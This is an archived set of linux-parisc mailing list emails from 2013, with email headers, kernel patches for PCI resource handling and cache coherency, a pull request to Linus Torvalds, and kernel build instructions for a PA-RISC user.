> 00:0e.2 USB controller: National Semiconductor Corporation USB Controller (rev 02) (prog-if 10 [OHCI])
>         Flags: bus master, medium devsel, latency 240, IRQ 1
>         Memory at fffffffff4007000 (32-bit, non-prefetchable) [size=4K]
>         Memory at fffffffff4006000 (32-bit, non-prefetchable) [size=4K]
>         Kernel driver in use: ohci_hcd
>
> 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
>         Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual Channel Ultra2 SCSI Multifunction Controller
>         Flags: bus master, medium devsel, latency 255, IRQ 68
>         I/O ports at 0900 [size=256]
>         Memory at fffffffff4005000 (64-bit, non-prefetchable) [size=1K]
>         Memory at fffffffff4002000 (64-bit, non-prefetchable) [size=8K]
>         Capabilities: [40] Power Management version 2
>         Kernel driver in use: sym53c8xx
>
> 00:0f.1 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
>         Subsystem: LSI Logic / Symbios Logic LSI53C896/7 PCI to Dual Channel Ultra2 SCSI Multifunction Controller
>         Flags: bus master, medium devsel, latency 255, IRQ 68
>         I/O ports at 0800 [size=256]
>         Memory at fffffffff4004000 (64-bit, non-prefetchable) [size=1K]
>         Memory at fffffffff4000000 (64-bit, non-prefetchable) [size=8K]
>         Capabilities: [40] Power Management version 2
>         Kernel driver in use: sym53c8xx
>
> 01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
>         Flags: 66MHz, medium devsel
>         Memory at fffffffffa000000 (32-bit, non-prefetchable) [size=32M]
>         Expansion ROM at fffffffff4800000 [disabled] [size=64K]
>         Kernel driver in use: sti
>
> 02:03.0 Multimedia video controller: 3Dfx Interactive, Inc. Voodoo 2 (rev 02)
>         Flags: fast devsel
>         Memory at fffffffff9000000 (32-bit, prefetchable) [size=16M]
>         Kernel driver in use: sstfb
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources (v2)
Date: Sat, 1 Jun 2013 00:24:58 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20130531222458.GA7200@p100.box>
References: <20130530141033.GA3665@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1370039143 16697 80.91.229.3 (31 May 2013 22:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 May 2013 22:25:43 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 01 00:25:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiXlW-0004bI-6s
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Jun 2013 00:25:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757864Ab3EaWZj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 May 2013 18:25:39 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:62538 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757790Ab3EaWZD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 May 2013 18:25:03 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MFfRr-1UexEv2rMT-00EdHx for
 <linux-parisc@vger.kernel.org>; Sat, 01 Jun 2013 00:25:00 +0200
Original-Received: (qmail invoked by alias); 31 May 2013 22:25:00 -0000
Original-Received: from p54AD10CE.dip0.t-ipconnect.de (EHLO p100.box) [84.173.16.206]
  by mail.gmx.net (mp034) with SMTP; 01 Jun 2013 00:25:00 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/GlYUiSyHGzeoaEl5XRzS9lFRSttaPz4SMwqgO0a
	dW8ndxxDkWqGyf
Content-Disposition: inline
In-Reply-To: <20130530141033.GA3665@ls3530.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5116
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5116>

changes in v2:
- updated the patch to change all .start -> .flags
- dropped setting IORESOURCE_BUS, will use Bjorns patch instead.


commit dc7dce280a
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Fri Oct 28 16:27:27 2011 -0600
   parisc/PCI: lba: convert to pci_create_root_bus() for correct root bus
                    resources

  Supply root bus resources to pci_create_root_bus() so they're correct
  immediately.  This fixes the problem of "early" and "header" quirks seeing
  incorrect root bus resources.

added tests for elmmio_space.start while it should use
elmmio_space.flags.  This for example led to incorrect resource
assignments and a non-working stifb framebuffer on most parisc machines.

LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
pci_bus 0000:01: root bus resource [??? 0x00000001 flags 0x0]

Signed-off-by: Helge Deller <deller@gmx.de>
Acked-by: Bjorn Helgaas <bhelgaas@google.com>

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2ef7103..90c5805 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -668,7 +668,7 @@ lba_fixup_bus(struct pci_bus *bus)
 			BUG();
 		}
 
-		if (ldev->hba.elmmio_space.start) {
+		if (ldev->hba.elmmio_space.flags) {
 			err = request_resource(&iomem_resource,
 					&(ldev->hba.elmmio_space));
 			if (err < 0) {
@@ -993,7 +993,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 
 		case PAT_LMMIO:
 			/* used to fix up pre-initialized MEM BARs */
-			if (!lba_dev->hba.lmmio_space.start) {
+			if (!lba_dev->hba.lmmio_space.flags) {
 				sprintf(lba_dev->hba.lmmio_name,
 						"PCI%02x LMMIO",
 						(int)lba_dev->hba.bus_num.start);
@@ -1001,7 +1001,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 					io->start;
 				r = &lba_dev->hba.lmmio_space;
 				r->name = lba_dev->hba.lmmio_name;
-			} else if (!lba_dev->hba.elmmio_space.start) {
+			} else if (!lba_dev->hba.elmmio_space.flags) {
 				sprintf(lba_dev->hba.elmmio_name,
 						"PCI%02x ELMMIO",
 						(int)lba_dev->hba.bus_num.start);
@@ -1494,7 +1494,7 @@ lba_driver_probe(struct parisc_device *dev)
 
 	pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
 				HBA_PORT_BASE(lba_dev->hba.hba_num));
-	if (lba_dev->hba.elmmio_space.start)
+	if (lba_dev->hba.elmmio_space.flags)
 		pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
 					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.lmmio_space.flags)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.10-rc4
Date: Sat, 1 Jun 2013 15:29:52 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20130601132952.GA26730@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1370093402 10009 80.91.229.3 (1 Jun 2013 13:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Jun 2013 13:30:02 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 01 15:30:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uilsd-0006IY-AI
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Jun 2013 15:29:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757186Ab3FAN36 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Jun 2013 09:29:58 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55751 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756873Ab3FAN35 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Jun 2013 09:29:57 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.10]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MCNfL-1UZf4n1Mqv-0096zf for
 <linux-parisc@vger.kernel.org>; Sat, 01 Jun 2013 15:29:56 +0200
Original-Received: (qmail invoked by alias); 01 Jun 2013 13:29:56 -0000
Original-Received: from p54AD14A7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.20.167]
  by mail.gmx.net (mp010) with SMTP; 01 Jun 2013 15:29:56 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/VDSJbQ7bV+SnJYM0Df9k+YQeNdwXTRWQyWiFvTC
	CEnHB9qIt1MWef
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5117 gmane.linux.kernel:1500467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5117>

Hi Linus,

please pull the latest changes for the parisc architecture.

They are available in the for-3.10 branch in the git repository at:
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git for-3.10

Thanks!
Helge

----------------------------------------------------------------

This patcheset includes fixes for:
- the PCI/LBA which brings back the stifb graphics framebuffer console
- possible memory overflows in parisc kernel init code
- parport support on older GSC machines
- avoids that users by mistake enable PARPORT_PC_SUPERIO on parisc
- MAINTAINERS file list updates for parisc.

----------------------------------------------------------------
Bjorn Helgaas (1):
      parisc/PCI: Set type for LBA bus_num resource

Chen Gang (2):
      parisc: memory overflow, 'name' length is too short for using
      parisc: kernel: using strlcpy() instead of strcpy()

Helge Deller (5):
      parisc: fix kernel BUG at arch/parisc/include/asm/mmzone.h:50
      MAINTAINERS: update parisc architecture file list
      parisc/PCI: lba: fix: convert to pci_create_root_bus() for correct root bus resources (v2)
      parport_pc: disable PARPORT_PC_SUPERIO on parisc architecture
      parisc: parport0: fix this legacy no-device port driver!

Paul Bolle (1):
      parisc: rename "CONFIG_PA7100" to "CONFIG_PA7000"

 MAINTAINERS                      | 8 ++++++++
 arch/parisc/Makefile             | 2 +-
 arch/parisc/include/asm/mmzone.h | 5 +----
 arch/parisc/kernel/drivers.c     | 2 +-
 arch/parisc/kernel/setup.c       | 3 ++-
 drivers/parisc/lba_pci.c         | 9 +++++----
 drivers/parport/Kconfig          | 2 +-
 drivers/parport/parport_gsc.c    | 6 +++---
 drivers/parport/parport_gsc.h    | 2 +-
 9 files changed, 23 insertions(+), 16 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Lenny/Sid upgrade
Date: Sat, 01 Jun 2013 17:34:52 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <51AA149C.7030801@gmx.de>
References: <fd52140191b1ce51b2a8017796ab1380aeb5f445@webmail.iinet.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370100897 14945 80.91.229.3 (1 Jun 2013 15:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Jun 2013 15:34:57 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Geoff <vk2tfg@ozemail.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 01 17:34:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UinpY-0001QL-4V
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Jun 2013 17:34:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750866Ab3FAPez (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Jun 2013 11:34:55 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:59026 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750815Ab3FAPey (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Jun 2013 11:34:54 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MVoO6-1UttfJ26Qa-00X0tK for
 <linux-parisc@vger.kernel.org>; Sat, 01 Jun 2013 17:34:53 +0200
Original-Received: (qmail invoked by alias); 01 Jun 2013 15:34:53 -0000
Original-Received: from p54AD14A7.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.20.167]
  by mail.gmx.net (mp024) with SMTP; 01 Jun 2013 17:34:53 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ReAFi4AYR3PksnTBeWzFFwui8q+tF+oH5lwmA4q
	a8jHlHwP09z8Pc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <fd52140191b1ce51b2a8017796ab1380aeb5f445@webmail.iinet.net.au>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5118 gmane.linux.debian.ports.hppa:6920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5118>

Hi Geoff,

On 06/01/2013 02:21 AM, Geoff wrote:
> I am still working on sorting out a fresh lenny -> sid upgrade. I have managed apt-get update, upgrade and dist-upgrade after lots of stuffing around (notes kept). It appears that "dependency based boot sequencing" gets in the way.
> 
> I'd like to try a kernel build next. Could anyone please point me towards a "cookbook" set of instructions and a suitably patched repository?

For the most stable kernel check out my stable-3.10 branch of 
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git

e.g.: 
clone a linux tree (3.10-rcX) from Linus, then:
git pull  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git  stable-3.10

You need a "palo.conf" file, e.g. I use this one for tftbooting...
http://www.parisc-linux.org/~deller/palo.conf
-> copy it to your kernel directory (where you build).

Then take (if you like) one of my .config files (either the 32 or 64bit one).
http://www.parisc-linux.org/~deller/config-3.10-64bit
http://www.parisc-linux.org/~deller/config-3.10-32bit
copy this config file to your parisc kernel tree (build tree),
rename the file to ".config".
run "make ARCH=parisc oldconfig"

run "make ARCH=parisc -j8 palo"

for tftpbooting, copy the "lifimage" file to the tftp-bootdirectory.
for direct booting of local disc, copy the "vmlinux" to /boot (on the parisc machine).

Boot up your PA machine, and run
boot lan -> for tftpbooting, or
boot pri -> for local booting (if you have the new vmlinux in /boot.

http://wiki.parisc-linux.org/Debian_Ports_Installation has some instructions (for kernel 3.9) as well.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Sun, 02 Jun 2013 00:03:16 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <51AA6FA4.3000900@gmx.de>
References: <20130530141033.GA3665@ls3530.box> <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com> <51A7ACBF.4030601@gmx.de> <20130530211244.GA28735@google.com> <51A7C763.4080704@gmx.de> <51A90C21.7010602@gmx.de> <CAErSpo6oX4ADT39_ya_PbHhkQ=i_TaT+hwfrh6qXDn2xCEnx7w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370124204 31788 80.91.229.3 (1 Jun 2013 22:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Jun 2013 22:03:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Sun Jun 02 00:03:23 2013
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1UittS-0000pN-7K
	for glp-linux-pci@plane.gmane.org; Sun, 02 Jun 2013 00:03:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756526Ab3FAWDU (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Sat, 1 Jun 2013 18:03:20 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59005 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754901Ab3FAWDT (ORCPT <rfc822;linux-pci@vger.kernel.org>);
	Sat, 1 Jun 2013 18:03:19 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LiqoN-1U90712Vbh-00cuVR for
 <linux-pci@vger.kernel.org>; Sun, 02 Jun 2013 00:03:18 +0200
Original-Received: (qmail invoked by alias); 01 Jun 2013 22:03:18 -0000
Original-Received: from p54AD14A7.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.20.167]
  by mail.gmx.net (mp001) with SMTP; 02 Jun 2013 00:03:18 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+R5qM/PQCREt/AB1oRZbYzkobe1Awc5J5Kd15imA
	LvLjypib6IJL+Z
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <CAErSpo6oX4ADT39_ya_PbHhkQ=i_TaT+hwfrh6qXDn2xCEnx7w@mail.gmail.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:22832 gmane.linux.ports.parisc:5119
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/22832>

On 05/31/2013 11:25 PM, Bjorn Helgaas wrote:
>>>> Maybe it has devices that aren't
>>>> officially supported and the firmware did the wrong thing?  (Though it'd
>>>> still be nice if Linux did something more sensible than this.)
>>
>> Ok, I removed all unnecessary cards, incl. 100MBit NIC, 1000MBit NIC, Matrox G200 and a Visualize FX.
>>
>> Now it works nicely and as expected.
>> Even the Visualize EG graphics card and the Voodo2 work (which were my main problem) :-)
> 
> Good, glad that works.  We *ought* to be able to do better, e.g., by
> just ignoring cards that we can't use.
> 
> If you have a chance, you might collect the complete dmesg log from
> both the working configuration and the broken one, and attach them to
> a new kernel.org PCI bugzilla. 

I opened bugzilla #59191
https://bugzilla.kernel.org/show_bug.cgi?id=59191
(Someone needs to reassign this bug to Driver/PCI component - I can't.)

Thanks!
Helge

From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix cache coherency for copy/clear_user_page operations
Date: Sun, 2 Jun 2013 12:09:35 -0400
Lines: 112
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5D57135C2483B5BA307F2979C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-23-1040151322"
X-Trace: ger.gmane.org 1370189420 6250 80.91.229.3 (2 Jun 2013 16:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 16:10:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 18:10:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjArH-0000yJ-5V
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 18:10:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753749Ab3FBQKN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 12:10:13 -0400
Original-Received: from [65.55.111.164] ([65.55.111.164]:38890 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1753619Ab3FBQKN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 12:10:13 -0400
Original-Received: from BLU0-SMTP5 ([65.55.111.137]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 09:09:52 -0700
X-EIP: [b+QxFN1uuugQMo2szOeSu0DUNEsCjhFh]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP5.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 09:09:50 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jun 2013 16:09:51.0052 (UTC) FILETIME=[9C87E0C0:01CE5FAB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5120>

--Apple-Mail-23-1040151322
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

As noted by James E.J. Bottomley, we need to purge the kernel TLB  
entries used when copying/clearing
to user pages on PA 2.0 systems that require cache coherency.   
Otherwise, we generate inequivalent
aliases and incorrect cache operation.

The patch also disables preemption around both the TLB and cache  
flushes as it seemed the effect of the
purge might be lost.

So far with approximately two days testing, I have seen no random  
segmentation faults on 4-way rp3440.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-23-1040151322
Content-Disposition: attachment; filename="cache-alias.d"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="cache-alias.d"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f0e2784..772dc27 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -114,8 +114,8 @@ static inline void
 flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr)
 {
 	if (PageAnon(page)) {
-		flush_tlb_page(vma, vmaddr);
 		preempt_disable();
+		flush_tlb_page(vma, vmaddr);
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
 		preempt_enable();
 	}
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..a16ede352 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -383,7 +383,7 @@ void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
 {
 	clear_page_asm(vto);
 	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
+		flush_kernel_dcache_page_addr(vto);
 }
 EXPORT_SYMBOL(clear_user_page);
 
@@ -397,10 +397,10 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 	   the kernel mapping. */
 	preempt_disable();
 	flush_dcache_page_asm(__pa(vfrom), vaddr);
-	preempt_enable();
 	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
+		flush_kernel_dcache_page_addr(vto);
+	preempt_enable();
 }
 EXPORT_SYMBOL(copy_user_page);
 
@@ -619,11 +619,11 @@ void clear_user_highpage(struct page *page, unsigned long vaddr)
 	   and the write-capable translation removed from the page
 	   table and purged from the TLB."  */
 
+	preempt_disable();
 	purge_kernel_dcache_page_asm((unsigned long)vto);
 	purge_tlb_start(flags);
 	pdtlb_kernel(vto);
 	purge_tlb_end(flags);
-	preempt_disable();
 	clear_user_page_asm(vto, vaddr);
 	preempt_enable();
 
@@ -644,12 +644,12 @@ void copy_user_highpage(struct page *to, struct page *from,
 	vfrom = kmap_atomic(from);
 	vto = kmap_atomic(to);
 
+	preempt_disable();
 	purge_kernel_dcache_page_asm((unsigned long)vto);
 	purge_tlb_start(flags);
 	pdtlb_kernel(vto);
 	pdtlb_kernel(vfrom);
 	purge_tlb_end(flags);
-	preempt_disable();
 	copy_user_page_asm(vto, vfrom, vaddr);
 	flush_dcache_page_asm(__pa(vto), vaddr);
 	preempt_enable();

--Apple-Mail-23-1040151322
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-23-1040151322--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use unshadowed index register for flush instructions in flush_dcache_page_asm and flush_icache_page_asm
Date: Sun, 2 Jun 2013 12:21:48 -0400
Lines: 153
Approved: news@gmane.org
Message-ID: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
